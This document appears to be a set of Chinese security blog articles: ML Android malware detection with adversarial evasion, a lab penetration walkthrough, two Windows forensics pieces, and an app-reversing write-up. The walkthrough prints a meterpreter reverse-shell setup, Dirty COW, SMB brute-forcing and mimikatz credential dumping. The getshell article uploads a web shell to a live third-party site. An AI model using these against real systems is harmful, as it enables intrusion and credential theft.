Android恶意软件检测
0x01 前言 本文将介绍如何利用机器学习技术检测安卓恶意软件,在前文会介绍相关基础知识,在后文则以实战为导向,介绍如何使用支持向量机检测安卓恶意软件,以及通过可解释性技术解释模型的决策结果,最后介绍如果对该模型发动对抗样本攻击。 0x02 支持向量机 在机器学习中,支持向量机(英语:support vector machine,常简称为SVM,又名支持向量网络)是在分类与回归分析中分析数据的监督式学习模型与相关的学习算法。 给定一组训练实例,每个训练实例被标记为属于两个类别中的一个或另一个,SVM训练算法创建一个将新的实例分配给两个类别之一的模型,使其成为非概率二元线性分类器。SVM模型是将实例表示为空间中的点,这样映射就使得单独类别的实例被尽可能宽的明显的间隔分开。然后,将新的实例映射到同一空间,并基于它们落在间隔的哪一侧来预测所属类别。  相关实验:<支持向量机检测DGA>:https://www.yijinglab.com/expc.do?ec=ECIDd5fb-5379-4f4b-862e-db7ab18b3a19(了解支持向量机的原理,学习SVM是怎么应用于检测DGA的。)  0x03 可解释性技术 接着介绍本文用到的可解释性技术,来自于[2][3]两篇论文。 我们使用的数据集是Drebin,该数据集包含来自 179 个不同恶意软件家族的 5,560 个应用程序,样本是在2010年8月至 2012年10月期间收集的,由MobileSandbox 项目提供。其主页为:https://www.sec.cs.tu-bs.de/~danarp/drebin/  数据集的每个特征都是一个布尔变量,0表示不存在该特征,1表示存在该特征。 如下所示:  安卓样本(apk文件)在特征空间中表示为向量,然后用一组带有标签的数据集进行训练,来区分良性样本和恶意样本。在测试时,则用训练得到的分类器判别样本文件。如果其输出f(x)>0,则将其归类为恶意样本,否则归类为良性样本。我们希望利用可解释性技术解释模型做出对应决策的理由。  以前的可解释性技术关注梯度,更一般的说法就是围绕输入点x的线性近似值给解释技术提供了有用的信息。设f是与预测类别相关的置信度,其认为与局部梯度 ∇f(x) 的最大绝对值相关的那些特征识别是最能影响决策结果的特征。然而,对于稀疏数据(比如安卓恶意软件)来说,那些方法给出的最有影响力的特征往往不在给定的样本中,从而难以解释相应的预测结果。 因此,我们采用不同的方法。我们将梯度 ∇f (x) 投影到 x 上以获得特征相关(feature-relevance)向量 ν = ∇f(x) · x ∈ Rd,其中 · 表示元素乘积。然后我们将 ν 归一化为一元 l1 范数,即 r =v/||v|,以确保只有 x 中的非空特征被识别为与决策结果相关。 最后,可以将 r 的绝对值按降序排列以识别对决策结果最具影响的特征。 应用提出的解释性技术,下表中给出了SVM(顶行)和 RF(底行) (i) 良性样本(第一列),(ii)SM SWA TCHER 家族的恶意软件样本(第二列),以及 (iii) PL ANKTON家族的恶意软件样本(第三列)的最能影响判决结果的前10个特征,并给出了每个特征在 BENING (pB ) 和恶意软件 (pM ) 中存在的可能性。  0x04 对抗样本技术 然后介绍本文用到的对抗样本技术,来自于[4][5]两篇论文。 我们可以将生成的对抗样本形式化为:  其中,x’是与生成的对抗样本z’相关的特征空间,wˆ 是攻击者估计的权重向量。 这个式子本质上告诉攻击者应该修改哪些特征以最大程度地降低分类函数的值,即最大化逃避检测的概率。注意,根据操作约束 Ω(z)(例如如果特征值是有界的),要操作的特征集对于每个恶意样本通常是不同的。 攻击者的目标是最小化上面的式子,但是对于每个特征独立地估计 wˆ 的每个分量为:  这相当于鼓励攻击者添加(删除)在良性样本中更频繁出现(不存在)的重要特征,使恶意样本的概率分布更接近良性数据的概率分布。 在本部分最后,再捎带介绍后文会提到的两个概念。 F1分数: F1分数(F1 Score)是统计学中用来衡量二分类模型精确度的一种指标。 它同时兼顾了分类模型的精确率和召回率。 F1分数可以看作是模型精确率和召回率的一种调和平均,它的最大值是1,最小值是0。 ROC曲线: ROC 曲线(接收者操作特征曲线)是一种显示分类模型在所有分类阈值下的效果的图表。该曲线绘制了以下两个参数:真正例率TPR(在我们下面的实战中,就是恶意样本的检出率),假正例率FPR。 0x05实战 我们下载该数据集并解压:  简单查看一下数据:  可以看到共下载了12550个样本,其中良性样本数量为12000,恶意样本数量为550。 我们使用支持向量机对其进行检测,首先用一半的数据集作为训练集,在其上进行训练:  其中,CClassifierSVM类的定义如下:  训练完成后打印其F1分数:  绘出ROC曲线:  接着我们来尝试使用XAI技术(可解释性AI)来解释训练得到的模型是以什么为依据将样本判定为良性或恶意。 我们使用基于梯度的解释方法:  CExplainerGradientInput类定义如下,我们在下面会用到其explain方法:  我们尝试对于一个良性样本和一个恶意样本,给出解释并分别列出对决策结果最大的前10个特征。 先来看对良性样本的解释:  这里的true class:0,是说该样本为良性样本。对应地,下图中true class:1则说明其为恶意样本。 我们来看看返回的结果,负号说明这些特征是与决策结果负相关,或者换句话说,如果出现这些特征,那么样本是良性的可能性大。  从上图可以看到与之前相反的结果,大多数特征具有正相关的值,这意味着,出现了这些正相关的特征,则样本极有可能是恶意的。 前面我们在检查数据的时候已经知道,这批样本共有1227080个特征。而从此处的结果可以看到,打印出的前10个特征已经占据了50%左右的相关性了,说明该机器学习模型倾向于将大部分权重分配给一组小的特征。 如果攻击者发现了这一点,这时候只需稍微改动恶意样本中正相关性较大的特征,就能欺骗模型将其分类为良性样本。当然实际中不需要手动去修改,我们还有对抗样本的技术,可以自动修改特征来欺骗分类器。  我们这里使用带线性搜索的投影梯度下降技术来创建可以对抗检测安卓恶意软件的SVM分类器的对抗样本。这里需要注意,和图片不同,在生成图片的对抗样本时,基本是不受约束的,图片不论怎么修改,还是一张图片。但是对于程序来说,添加或者删除某些特征,可能程序就不可用了。比如我们在一个恶意程序上做对抗样本,如果改动幅度过大,可能生成的对抗 样本确实被分类器认为是良性的,但是该对抗样本可能已经失效的,即无法执行恶意行为,那么就失去了对抗样本的意义。 我们的经验就是一般不要轻易删除某些特征,尤其是不要删除manifest组件,因为容易破坏程序的功能。相对地,添加特征更安全一些,比如添加权限就不会影响任何现有功能。 我们来设置攻击参数:  这里主要关注distance和y_target。 distance我们设为l1,因为每个特征是一个布尔变量(0或1),我们希望在一次迭代时只改变一个特征(从0到1,或者从1到0)。 y_target设为0,是希望生成的对抗样本被归类为良性。(这里我们指定了攻击目标,在对抗样本中称为定向攻击) 接着发动攻击:  该类定义如下:  画出攻击后的情况:  从图中可以看到,在改变了不到10个特征之后,恶意样本的检出率就低于50%了,证实了对抗样本攻击的有效性。 相关课程:《https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c (学习如何将机器学习与网络安全结合起来,使用机器学习来辅助网络安全问题的解决。) 0x06参考 1.https://zh.wikipedia.org/wiki/%E6%94%AF%E6%8C%81%E5%90%91%E9%87%8F%E6%9C%BA 2.Not just a blackbox: Learning important features through propagating      activation differences 3.Explaining Black-box Android Malware Detection 4.Is Deep Learning Safe for Robot Vision?Adversarial Examples against the iCub Humanoid 5.Yes, Machine Learning Can Be More Secure!A Case Study on Android Malware Detection 6.《机器学习》、《深度学习》
记一次内网靶场实战(下篇)
(接上篇) 绕过disable_functions 但是这里命令执行返回的是127,应该是disable_functions禁用了命令执行的函数,在windows下绕过disable_functions的方法虽然很少,但是在linux里面绕过disable_functions的方法却有很多,这里就不展开说了 这里为了方便我直接使用的是蚁剑里自带的插件绕过disable_functions,可以看到已经上传脚本操作成功了 这里我直接去连接上传的这个.antproxy.php,这里理论上是应该用原来的密码连接过去就可以执行命令了,但是这和地方不知道为什么返回数据为空我淦! 这里只好用最原始的方法,上传一个绕过disable_functions的py,通过传参的方式执行系统命令 测试一下传参为whoami,可以看到这里是一个低权限www-data ifconfig看一下网卡情况,这里很奇怪,因为之前我们在扫描的时候这台CentOS的ip应该是192.168.1.0/24这个网段的,但是这里ifconfig出来却是192.168.53.0/24这个网段,当时说实话有点懵 arp -a查看下路由表,可以看到都是192.168.93.0/24这个网段 再看一下端口的进出,发现都是93这个网段 interfaces中配置的静态网卡也是93这个网段 Nginx反向代理 那么到这里已经很明显了,也就是说我们之前拿到的那台linux的192.168.1.0/24这个网段相当于一个公网IP,但是真正的主机应该是192.168.93.0/24,但这个是一个内网网段,所以说最符合这种情况的就是nginx反向代理 因为之前nginx反代的情况基本没遇到过,所以这里顺带补充一下自己的盲区 何为代理 在Java设计模式中,代理模式是这样定义的:给某个对象提供一个代理对象,并由代理对象控制原对象的引用。 可能大家不太明白这句话,在举一个现实生活中的例子:比如我们要买一间二手房,虽然我们可以自己去找房源,但是这太花费时间精力了,而且房屋质量检测以及房屋过户等一系列手续也都得我们去办,再说现在这个社会,等我们找到房源,说不定房子都已经涨价了,那么怎么办呢?最简单快捷的方法就是找二手房中介公司(为什么?别人那里房源多啊),于是我们就委托中介公司来给我找合适的房子,以及后续的质量检测过户等操作,我们只需要选好自己想要的房子,然后交钱就行了。 代理简单来说,就是如果我们想做什么,但又不想直接去做,那么这时候就找另外一个人帮我们去做。那么这个例子里面的中介公司就是给我们做代理服务的,我们委托中介公司帮我们找房子。 何为反向代理 反向代理和正向代理的区别就是:正向代理代理客户端,反向代理代理服务器。 反向代理,其实客户端对代理是无感知的,因为客户端不需要任何配置就可以访问,我们只需要将请求发送到反向代理服务器,由反向代理服务器去选择目标服务器获取数据后,在返回给客户端,此时反向代理服务器和目标服务器对外就是一个服务器,暴露的是代理服务器地址,隐藏了真实服务器IP地址。 反向代理的好处 那么为什么要用到反向代理呢,原因有以下几点: 1、保护了真实的web服务器,web服务器对外不可见,外网只能看到反向代理服务器,而反向代理服务器上并没有真实数据,因此,保证了web服务器的资源安全 2、反向代理为基础产生了动静资源分离以及负载均衡的方式,减轻web服务器的负担,加速了对网站访问速度(动静资源分离和负载均衡会以后说) 3、节约了有限的IP地址资源,企业内所有的网站共享一个在internet中注册的IP地址,这些服务器分配私有地址,采用虚拟主机的方式对外提供服务 了解了反向代理之后,我们再具体的去探究一下Nginx反向代理的实现 1、模拟n个http服务器作为目标主机用作测试,简单的使用2个tomcat实例模拟两台http服务器,分别将tomcat的端口改为8081和8082 2、配置IP域名 192.168.72.49 8081.max.com 192.168.72.49 8082.max.com 3、配置nginx.conf upstream tomcatserver1 {    server 192.168.72.49:8081;    } upstream tomcatserver2 {    server 192.168.72.49:8082;    } server {        listen       80;        server_name  8081.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver1;            index  index.html index.htm;        }        } server {        listen       80;        server_name  8082.max.com;        #charset koi8-r;        #access_log  logs/host.access.log  main;        location / {            proxy_pass   http://tomcatserver2;            index  index.html index.htm;        }            } 流程: 1)浏览器访问8081.max.com,通过本地host文件域名解析,找到192.168.72.49服务器(安装nginx) 2)nginx反向代理接受客户机请求,找到server_name为8081.max.com的server节点,根据proxy_pass对应的http路径,将请求转发到upstream tomcatserver1上,即端口号为8081的tomcat服务器。 那么这里很明显还有一台linux主机在整个拓扑内做为内网Ubuntu的反向代理主机,这时候我翻缓存文件夹的时候发现了一个mysql文件夹,跟进去看看 发现了一个test.txt,不会又是管理员忘记删了的账号密码吧(手动狗头) 因为之前我们扫端口的时候发现开了22端口,那么这个账号密码很可能就是ssh的帐号密码 使用ssh连接尝试 连接成功到了另外一台linux主机 看一下主机和ip情况,可以发现这台主机已经不是我们之前的那台Ubuntu了,而是CentOS,而且双网卡,一张网卡是我们之前扫描时候得出的1.0/24这个网段的ip,还有一个ip就是93.0/24这个内网网段的ip,那么这台linux主机就是Ubuntu的反向代理主机无疑了 脏牛提权 这里直接选择linux提权首选的脏牛进行提权 gcc -pthread dirty.c -o dirty -lcrypt //编译dirty.c ./dirty 123456 //创建一个高权限用户,密码为123456 可以看到这里已经执行成功,脏牛执行成功过后会自动生成一个名为firefart的高权限用户,密码就是我们刚才设置的123456 这里我们切换到firefart用户进行查看 内网渗透 centos上线msf 这里因为是linux的原因,就不使用cs上线的打法了,先生成一个linux的payload上线到msf use exploit/multi/script/web_delivery set lhost 192.168.1.10 set lport 4444 set target 7 run 运行之后会给出一个payload use exploit/multi/script/web_delivery set target 7     set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.10 set lport 4444 exploit 将payload复制到centos执行 可以看到反弹session已经成功 socks代理进入内网扫描 这里使用添加路由、使用socks_proxy模块进入内网 route add 192.168.93.0 255.255.255.0 1 route print use auxiliary/server/socks_proxy set version 4a run 然后在/etc/proxychain.conf文件中添加代理的ip和端口,这里一定要和设置里的对应 这里可以使用proxychain + nmap进行扫描,这里为了方便我就直接使用msf中的模块对192.168.93.0/24这个网段进行扫描了。注意这里在实战的时候可以适当把线程调小一点,不然流量会很大,这里因为是靶场的原因我就直接调成了20 use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.93.1-255 set threads 20 run 这里扫描完之后可以发现,内网里有3台主机存活,分别是192.168.93.10 192.168.93.20 192.168.93.30 但是这时候信息还不够,调用nmap继续扫描详细信息 nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30 首先是10这台主机,可以看到开放了88跟389这两个端口,熟悉的师傅都应该知道这两个端口大概率锁定了这台主机就是域控 20这台主机开的都是几个常规端口,值得注意的就是1433端口,意味着20这台主机上有mssql服务 30这台主机也是开了几个常规端口,跟前面两台主机相比就没什么特征端口,应该是一个普通的域成员主机 永恒之蓝尝试 这里我发现三台主机都开了139、445端口,那么先使用永恒之蓝模块先批量扫描一波看有没有可以直接用永恒之蓝打下来的主机 这里没有能够直接用永恒之蓝拿下的主机,win7跟2008匿名管道都没有开所以利用不了 密码枚举 因为这三台主机都开了445端口,可以使用smb,使用msf中的smb_login模块进行密码枚举尝试 use auxiliary/scanner/smb/smb_login set rhosts 192.168.93.20 set SMBUser Administrator set PASS_FILE /tmp/1W.txt run 这里很幸运,跑出来的密码是123qwe!ASD刚好在我的1W.txt这个字典里面 psexec横向移动 这里使用proxifier将msf的socks代理到本地,忘记截图了orz... 这里既然已经拿到了administrator的密码,使用ipc先连接到20这一台主机,使用copy命令将mimikatz拷贝到20这台主机上 然后使用psexec获取一个cmd环境,使用mimikatz抓取hash并保存为日志 psexec64.exe \\192.168.93.20 cmd mimiKatz.exe log privilege::debug sekurlsa::logonpasswords type mimikatz.log读取日志内容可以发现域管的帐号密码为Administrator zxcASDqw123!! 那么这里也直接使用ipc连接直接连接10这台主机,即TEST这个域的域控,可以看到已经连接成功了 使用命令查看机密文件 dir \\192.168.93.10\C$\users\Administrator\Documents type \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
记一次内网靶场实战(上篇)
前言 本环境为黑盒测试,在不提供虚拟机帐号密码的情况下进行黑盒测试拿到域控里面的flag。 环境搭建 内网网段:192.168.93.0/24 外网网段:192.168.1.0/24 攻击机: kali:192.168.1.10 靶场: CentOS(内):192.168.93.100 CentOS(外):192.168.1.110 Ubuntu:192.168.93.120 域内主机: Winserver2012:192.168.93.10 Winserver2008:192.168.93.20 Windows7:192.168.93.30 其中CentOS可以外网、内网通信,域内主机只能内网之间进行通信 kali跟CentOS能够ping通 ![ ](image-20210703212359897.png) 拓扑图如下: 内网信息搜集 nmap探测端口 nmap先探测一下出网机即CentOS的端口情况。可以看到开了22、80、3306端口,初步判断开了web,ssh,数据库应该为MySQL nmap -T4 -sC -sV 192.168.1.110 这里首先访问下80端口,发现为joomla框架,joomla框架在3.4.6及以下版本是有一个远程rce漏洞的,这里先使用exp直接去打一下 这里看到exp打过去不能够利用那么应该是joomla的版本比较高 这里使用端口扫描软件扫一下后台的文件发现一个管理员的界面 是joomla的后台登录界面,这里尝试使用bp弱口令爆破了一下,无果,只好放弃 这里使用dirsearch进一步进行扫描,发现了一个configuration.php 看一下这个php的内容发现有一个user跟password,联想到开了3306这个端口,猜测这可能是管理员备份的数据库密码忘记删除了 连接mysql 这里使用navicat尝试连接一下靶机的数据库 可以看到连接成功了 然后就是翻数据找管理员的帐号了,找管理员帐号肯定是找带有user字段跟password字段的,这里我找了一段时间,最后发现umnbt_users这个表跟管理员帐号最相似,但是这里出现了一个问题,我发现password这个地方的密码不是明文 这里试着把密文拿去解密发现解密失败 在搜索的时候发现joomla官网虽然没有直接公布密码的加密方式,但是它为了防止用户忘记密码增加了一个添加超级管理员用户的方式,就是通过登录数据库执行sql语句达到新建超级管理员的效果 这里我们可以发现sql语句中的VALUES中的第三项为密文,这里我们为了方便就是用他给我们的这一串密文,这里对应的密码为secret,当然也可以用其他对应的密文如下所示 在navicat中执行sql语句,注意这里要分开执行两个INSERT INTO否则回报错,这里相当于我们添加了一个admin2 secret这个新的超级管理员用户 登录joomla后台 使用admin2 secret登录joomla后台 登录成功,进入后台后的操作一般都是找可以上传文件的地方上传图片马或者找一个能够写入sql语句的地方 这里经过谷歌后发现,joomla的后台有一个模板的编辑处可以写入文件,这里找到Extensions->Template->Templates 这里选择Beez3这个模板进入编辑 这里因为模板前面有<?php前缀,所以这里我们需要将一句话木马稍微变形一下,然后保存即可 这里使用蚁剑连接成功 (后续见下篇)
Windows 取证之BMChache
0x0、概述 BMChache全称RDP Bitmap Chache,即RDP(远程桌面协议)位图缓存。是Windows为了加速RDP连接时的显示,减少数据量的传输,改善RDP连接体验的一种缓存机制。 0x1、什么是RDP Bitmap Chache Remote Desktop Protocol(RDP)是微软从Windows NT 4.0开始为了用户能使用图形界面通过网络远程方式连接到另外一台计算机而开发的专有协议。 当年因为是拨号上网,网络带宽很低,便开发了Bitmap Chache这种技术,为了增强用户体验,降低带宽延迟,RDP连接后,会将显示的图像在客户端以位图的形式缓存下来,RDP会话会重用这些图像进行显示,而不是时刻都使用网络进行完整图像传输,而是只传输改变的部分,从而减少了延迟。虽然现在网络带宽已经得到很大的提升,但这一技术特性依然还是被保留了下来。 BMChache分为两种类型,一种是Bitmap Chaces(位图缓存),一种是Persisten Bitmap Chaches(持久位图缓存)。Persistent Bitmap Chaches是从Windows 2000的RDP 5.0版本开始引入的技术。区别在于,前一种是临时缓存,与RDP会话生命周期绑定,后一种是持久化的缓存,不受到RDP会话生命周期的限制,即使会话结束后,内容依然会持久化的存在于文件中。 位图缓存选项可以由用户配置是否开启,可以打开远程桌面连接程序查看: 需要注意的是,位图缓存只存在与远程连接的客户端系统中,而不是服务端系统中。 在Windows xp中的存储位置位于:%USERPROFILE%\Local Settings\Application Data\Microsoft\Terminal Server Client\Cache\路径中: 其文件名组成是“bchache + 图像位深度 + .bmc后缀”,其中的数字表示位图的质量,如果是bchache2.bmc表示是图像的位深度是8bit,bcache22.bmc表示图像的位深度是16bit,bcache24.bmc表示存储的图像位深度是32bit,单位是bpp(bits per pixel)。在Windows XP等老系统中,bchache**.bmc文件的最大大小是20MB。 在Windows 7及更高版本系统中,其文件存储在 :%USERPROFILE%\AppData\Local\Microsoft\Terminal Server Client\Cache\路径中: 包括两种类型,一种是bcache**.bmc,一种是Cache****.bin。bchache**.bmc用于老旧的系统,而Cache****.bin文件用于Windows 7及更高版本的系统。Cache****.bin文件大小最高可以达到100MB,当超过100MB,会新增一个文件,文件名中的数值从0000开始递增。(如:Cache0001.bin、Cache0002.bin),与.bmc文件支持8bpp到32bpp位深度图像不同,.bin文件的图像位深度是固定的32bpp。 0x2、Bitmap Chache文件结构 .bmc文件结构: .bmc文件并没有固定的头部标识,但它是由一张张BMP图像组成的文件,每个单独的区块文件头信息组成如下: 前八个字节(83 8F 42 86 6E C8 EF B3)是图像的哈希值,接下来的两个字节(40 00)是图像的宽度,然后两个字节(40 00)是图像的高度,然后四个字节(00 20 00 00)表示图像的大小(单位是字节),接下来的四个字节(11 00 00 00)表示图像的特定参数(是否压缩)。总共占用20个字节。 以这里的bchache22.bmc为例,每个区块的图像宽高都是0x40,也就是64x64大小的图像,其图像的位深度是16 bit,说明每个像素需要2个字节来存储。那一个区块的图像总大小为 :64x64x2=8192 bytes,如果是24bpp则占用12288 bytes,32bpp占用16384 bytes。 .bin文件结构: .bin文件有固定的文件头标识,以字符串RDP8bmp开头,占用8个字节,后面四个字节为版本号,共十二个字节。 然后是每个区块图像的文件头: 其中前八个字节(35 CE 5E 97 15 DA 7E E9)是区块图像的哈希值,然后两个字节(40 00)是图像的宽度,然后两个字节是图像的高度(40 00)。与之前的.bmc存储不同,.bin中的每个区块图像的位深度都是32bpp,每个区块图像占用16384 bytes。 我们可以参考bmp的文件结构组成,添加其文件头信息,手动构建bmp文件,把文件导出来: 关于bmp文件的格式可以参考 https://en.wikipedia.org/wiki/BMP_file_format#Pixel_storage 0x3、RDP BitMap Chache在取证中的意义 在前面,我们已经说明了,RDP BMChache只存在于客户端,如果攻击者在横行移动攻击中,使用了跳板机RDP远程连接了目标机器进行了某些操作,取证人员就可以在跳板机上分析BMChache文件进行取证。 我们做一个简单的演示,这里使用远程桌面连接一台远程机器,执行一些操作: 然后我们使用工具BMC Viewer查看一下BMC文件的内容: 可以看到缓存的位图图像中,有我们执行操作的部分内容的图像。点击每个区块的内容,会显示区块的文件头内容,可以根据这个导出图像. 0x4、取证实践 攻击者通过某些手段已经入侵并拿到了GOT公司职员Little Finger的电脑控制权,攻击者在这台电脑上使用了GOT\varys-adm域管理员凭证连接到了域控服务器,攻击者利用这台电脑作为入口点对组织进行横向渗透。 提供给我们的取证资料包括Little Finger计算机的Windows日志和littlefinger用户配置文件。我们需要找出Varys-adm的密码。 通过获取的日志可以发现登录的记录: 在littlefinger用户的配置相关文件中找到了RDP Bitmap Chache文件: 我们使用工具对Cache0000.bin进行解析,这里使用bmc-tools.py工具(下载地址:https://github.com/ANSSI-FR/bmc-tools)。 查看解析出来的图像: 通过查看这些图像,发现了保存GOT\varys-adm密码的信息: 从解析的缓存图像分析,域管理员可能是使用了Windows 10的便签功能把密码贴在桌面上了。 至此我们通过BMChache找出了密码信息,用户名:GOT\varys-adm,密码:Uncutedition1@# 参考资料: [MS-RDPEGDI]: Bitmap Caches | Microsoft Docs:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpegdi/2bf92588-42bd-4527-8b3e-b90c56e292d2 BMP file format - Wikipedia https://en.wikipedia.org/wiki/BMP_file_format 管理工具和登录类型参考 - Windows Server | Microsoft Docs https://docs.microsoft.com/zh-cn/windows-server/identity/securing-privileged-access/reference-tools-logon-types
一次从 APP 逆向到 Getshell 的过程
0x00 前言 话说夏天的某个早晨,笔者突然从梦中惊醒,耳边就直接传来一段低语: 炎炎夏日宅在家无聊?不如 (跟我一起做复读机,复制这段话再发出去,每天收入0元,我和身边的朋友都在做,反正闲着也是闲着。吃饱了也是撑着,不如挨顿骂) 跟我一起挖个 CNVD 原创漏洞。反正闲着也是闲着,吃饱了也是撑着,不如找机会点缀下简历、丰富下经验 ~ 听完之后忽觉一阵激灵,好久才回过神来:莫非这就是传说中的天降神谕?真所谓垂死病中惊坐起,老天叫我去挖洞啊!既然如此那还想什么,开冲开冲!! 0x01 开搞 众所周知,获取 cnvd 原创漏洞证明无非两种途径。一个是提交重要关基的事件型漏洞,另一个就是提交通用型漏洞。这里选择第二种方式。因为直觉告诉我大型关基的漏洞应该早就在各种攻防演练中被挖得差不多了,而自己人菜技拙,何德何能和众大佬争功? 于是构造一波 fofa 关键字——同理,常见的、比较有影响力的开源项目大多也被大佬们审计得差不多了,所以这里直接从 fofa 找案例,然后从案例反查厂商,运气好的话也能捡到个小通用。一番挑肥拣瘦后找到了个疑似的软柿子(厚码见谅): 界面比较朴实无华。之所以判断是个软柿子是因为简单测试下来发现目标存在目录遍历的低级问题: 对本人来说,一些低级问题的出现也可以看成衡量开发人员安全意识高低的一个指标。也就是说,这个站出现其他更严重安全漏洞的可能性比较大。于是既然锁定了目标,那么依照惯例,先简单判断了下网站的情况: 看了下登录页面的样式和 html 源码,代码风格放荡不羁,符合小厂商比较随性的作风,而且 upload 目录存在目录遍历,至少可以说明运维人员比较粗心大意,可能存在漏打补丁之类的情况(而且通常一些比较有安全意识的 cms 开发人员,都会热心地在 upload 、attachments 等目录下手动加上一个空白的 index.html 来避免因运维配置错误而产生的目录遍历。所以如果从这个角度来看,说连开发人员安全意识也不足也不为过) Cookie 中 存在键名为 JSSESSION 的 Cookie、404页面显示web容器为tomcat8.5,可判断后端语言是Java。因此也可以尝试 Tomcat、Weblogic、 Jboss、shiro、fastjson 等容器、中间件和组件的漏洞。 简单看了下 js 等静态资源,没有发现可直接利用的注释或隐藏的接口等信息。但页面展示了该系统配套使用的一个 APP,后期或许可以从 APP 入手尝试挖掘一些 web 界面没有展示出来的接口 有了简单的判断和猜想之后,要做的就是逐个验证了。 既然目标站点后端语言为 Java,那么先上一波 shiro 的探测。毕竟就算 Tomcat 和 Weblogic 之类的可以直接打到,感觉也只能算是中间件的漏洞,而不是这个 web 系统本身的通用。 shiro 的探测这里用到的是 burpsuite 的一款被动探测插件 shiroscan , github 地址是 https://github.com/Daybr4ak/ShiroScan https://github.com/Daybr4ak/ShiroScan 插件安装好后,浏览测试页面,不足须臾,插件的 ShiroScan 的视图果然就给出了探测结果: shiro key scan unknown error: 瞧一眼插件的原始请求和服务器的响应,基本可以确认 shiro 应该是存在的了,出现这样的结果可能是插件内置的 shiro key 不够多。于是又不甘心地轮换了几个 shiro 的利用工具去测试,可惜结果都不如人意: 0x02 峰回路转 眼看 shiro 一把梭这条路是走不通了,又顺手测了测登录框的注入、Cookie的伪造等一些明面上能测的东西。最后还剩 fastjson 这个猜想还没有办法进一步验证了——因为就目前为止,系统暴露出来的功能除了一个登录,就再没有其他的了。更重要的是,即使只是这个登录页,其所提交的数据也不是 json 格式的,所以个人猜测这里存在 fastjson 漏洞的可能性比较低。于是挖掘的重点转向登录页挂着的配套 APP 上,希望至少可以从中挖出一些 web 界面没有展示出来的接口吧——当然,如果是未授权或者是存在 fastjson 漏洞的接口那就更好了。 说干就干。眼看饮茶时间又快到了,挖洞哪有喝茶重要。因此先不考虑 APP 加壳的问题,直接下载 APK,改后缀为  .zip 打开: 存在两个 dex 文件,这里也先不去探究哪个才是最要紧的了,总之两个都解压出来,分别改名为 xxx1.dex 和 xxx2.dex: 接着 dex2jar 伺候,得到 jar 包: 最后,jd-gui 打开,顺利得到源码,似乎可以捡漏逆袭: 得到源码后,全局搜索诸如 : ”username“、”password“、”host“、”hostname“ 、”domain“ 、”secretkey“、”publickey“、”upload“之类的字眼。因为经验告诉我,运气好的话可能可以直接得到一些可利用的硬编码信息或可未授权访问的敏感接口,比如: 显然,从图中代码不难看出,系统确实存在一个名为 appuploadfileservice/uploadfile 的接口,而且该接口在处理客户端提交数据前可能还没有任何身份校验机制。为了证明这个猜想,根据反编译得到的代码,在 burpsuite 中按下面推测大胆构造了请求: first 和 offset 使用代码截图里的默认值就可以了;param 参数的作用未知;至于 file 参数,一个从请求的 querystring 获得,一个似乎从 POST 的数据 body 里获得——那么暂且认为 body 里的就是文件内容,则可以构造得到数据包为: 提交后返回 200 状态码,但是没有返回路径。难道是理解错误了?气氛一下子变得有点尴尬起来了。。。 不过好在,这种尴尬没持续多久,我又突然想起之前那个鸡肋的目录遍历。难道。。。? 于是怀着死马当活马医的信息再看一眼 upload 目录发现: Bingo ! 原来请求中的 param 的意义是指定保存的目录。那么,自然而然地最后的 shell 访问地址是:http://xxxxx/upload/test/test.jsp : 0x03 功败垂成 至此,一个未授权的任意文件上传漏洞算是挖掘完成了。然而,正当我准备放弃喝茶,打算打包提交 cnvd 混个原创证书时却尴尬地发现: 啊这、影响也太小了吧。。连 10 个互联网案例都凑不齐。。 还是提交事件吧、要脸。。。。 0x04 总结 要会搞 web ,但不能局限于只会搞 web ,因为 web 的突破口也有可能在其他地方。 渗透什么的还是要胆大心细,并且再鸡肋的漏洞也不能轻视,毕竟连一张厕纸、一条内裤都会又它自己的作用的。 下次挖通用前先查下产品使用率。。。
Windows 取证之ShellBags
Windows 取证之ShellBags   相关实验:https://www.yijinglab.com/expc.do?ec=ECID6a2f-ed6f-4f85-9363-731535a5c3c4    (了解常用的内存镜像取证工具的使用,包括Dumplt、FTK Imager、Belkasoft RAM Capture和Dump镜像内存提取工具。) 0x0、概述 ShellBags是一组用来记录文件夹(包括挂载网络驱动器文件夹和挂载设备的文件夹)的名称、大小、图标、视图、位置的注册表项,或称为BagMRU。每次对文件夹的操作,ShellBags的信息都会更新,而且包含时间戳信息。是Windows系统改善用户体验的功能之一。即使删除文件夹后,ShellBags仍然会保留文件夹的信息。因此可以用来揭示用户的活动。 0x1、ShellBags的用途和取证中的价值 微软从Windows 7开始引入ShellBags,虽然在Windows xp中也存在,但是其文件格式发生了很大的改变。并在后续的系统上一直使用。ShellBags用来保存用户浏览文件夹时的偏好信息,比如文件夹的排列方式,文件夹显示图标的大小等,比如将文件夹的显示方式从"大图标"模式改为"详细信息模式",ShellBags会立即创建或更新记录,当你打开、关闭或者右键单击、或者重命名文件夹时,也会创建或更新ShellBags记录。这意味着: 1、如果在Windows ShellBags记录了某个文件夹,那么表示它一定在某个时间出现过在该系统中,包括压缩文件在内的本地文件系统、网络位置和外接设备(如U盘、移动硬盘等)上的文件夹,即使它现在已经不存在了。 2、由于这些对文件夹的操作和查看首选项与该用户的注册表配置单元(registry hives)相关联。所以我们可以将特定用户和特定的文件夹相关联,甚至,还可以从ShellBags包含的MAC时间戳中获取文件夹的访问时间信息。 0x2、ShellBags的存储 在Windows XP中,存储在NTUSER.dat文件中,在系统注册表中的位置分别是: - 记录网络路径文件夹访问的记录在:\Software\Microsoft\Windows\Shell - 记录本地文件夹访问的记录在:\Software\Microsoft\Windows\ShellNoRoam - 可移动存储器文件夹访问的记录在:\Software\Microsoft\Windows\StreamMRU 但是从Windows 7开始,已经发生了很大的变化,Windows 7新增了一个用户特定的注册表配置单元:USRCLASS.dat。这个配置单元支持新的用户访问控制(UAC)和强制访问控制完整性级别。它用于记录来自无权写入标准注册表配置单元的用户进程的配置信息。所以如果要获取完整的ShellBags信息,需要为每个用户解析NTUSER.dat 和 USRCLASS.dat这两个文件。这些文件可以在%userprofile%、%userprofile%\AppData\Local\Microsoft\Windows路径中找到。 具体的注册表位置为: 记录最近通过资源管理器访问的文件夹的信息: 